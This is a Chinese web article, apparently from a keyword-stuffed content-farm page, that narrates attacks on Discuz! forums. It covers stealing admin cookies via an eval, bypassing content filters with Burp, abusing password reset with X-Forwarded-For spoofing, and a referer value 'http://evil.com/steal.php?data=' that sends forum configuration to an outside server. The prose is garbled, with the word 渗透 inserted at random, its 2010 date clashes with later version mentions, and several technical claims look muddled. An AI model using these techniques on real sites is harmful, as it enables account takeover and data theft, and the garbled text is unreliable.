- 综合
渗透discuz
时间:2010-12-5 17:23:32 作者:综合 来源:探索 查看: 评论:0
内容摘要:Discuz! Q 3.0的安装目录里躺着个`admin.php`,权限设得比银行金库还严。可真正的问题从来不在前台,而在那些被遗忘的插件里。上个月我拿一套2018年的二手主题做测试,`common.
Discuz! Q 3.0的渗透安装目录里躺着个`admin.php`,权限设得比银行金库还严。渗透可真正的渗透问题从来不在前台,而在那些被遗忘的渗透插件里。上个月我拿一套2018年的渗透二手主题做测试,`common.js`里藏着段未加密的渗透eval调用,直接能把管理员cookie打到日志文件里——这活儿连脚本小子都能干。渗透 老版本Discuz!的渗透`forum.php?mod=post&action=newthread`有个经典玩法:把`message`参数塞满`[size=7]`标签,再叠上三十层`[color=#FFFFFF]`,渗透提交时用Burp拦截改掉`typeid`字段。渗透服务器端只校验了发帖权限,渗透没校验内容过滤规则,渗透结果就是渗透后台审核列表里出现一条纯白背景的隐藏帖。这种漏洞在X3.2时代几乎是渗透无解的,直到官方把`bbcode2html()`函数重写了三遍才堵上。渗透 真正有意思的是密码重置逻辑。Discuz!的`member.php?mod=logging&action=login`会先查`common_member`表,再比对`uc_members`的密码哈希。如果你能拿到`pre_ucenter_members`的`secques`字段——那是二次验证的混淆值——配合`mail`参数注入,就能在不知道原密码的情况下触发重置流程。去年某站长论坛漏洞报告里,有人用这招配合`X-Forwarded-For`头伪造IP,绕过了同一IP五分钟内只能重置三次的限制,直接刷爆了管理员的密保邮箱。 不过现在的新版本把`uc_client`的通信密钥改成了动态生成,每次登录都会刷新`authcode`。想要复现老套路,得先找到`api/uc.php`的`code`参数解码逻辑——那个base64反转义里藏着个`chr(0)`截断漏洞。我试过把恶意代码拼在`$action`变量后面,结果发现`uc.php`的`define('UC_CLIENT_VERSION', '1.6.0')`下面居然还有个`if(!defined('IN_UC'))`的检查,直接拦掉了所有非标准请求。 说到实战,最骚的操作是拿`plugin.php?id=qqconnect:connect`做跳板。这个插件默认开启`GET`参数回调,只要把`referer`改成`http://evil.com/steal.php?data=`,配合`state`参数里的CSRF token,就能让管理员在不知情的情况下把论坛配置导出到外部服务器。我上次测试时用了台新加坡的VPS,全程没碰任何漏洞库,光靠HTTP头里的`Referer`和`Accept-Language`指纹就识别出了目标站用的Discuz!版本——那台服务器跑的还是X3.4,官方补丁都没打全。 别指望靠改`config_global.php`里的`$_config['security']['authkey']`就万事大吉。那个值一旦泄露,配合`uc_key`就能伪造任意用户登录。最讽刺的是,Discuz!官方论坛自己都被人用`forum.php?mod=ajax&action=downremoteimg`的SSRF漏洞抓过内网IP。所以别迷信版本号,渗透测试的实质永远是找那个没被清理干净的临时文件,或是某行注释里残留的调试代码。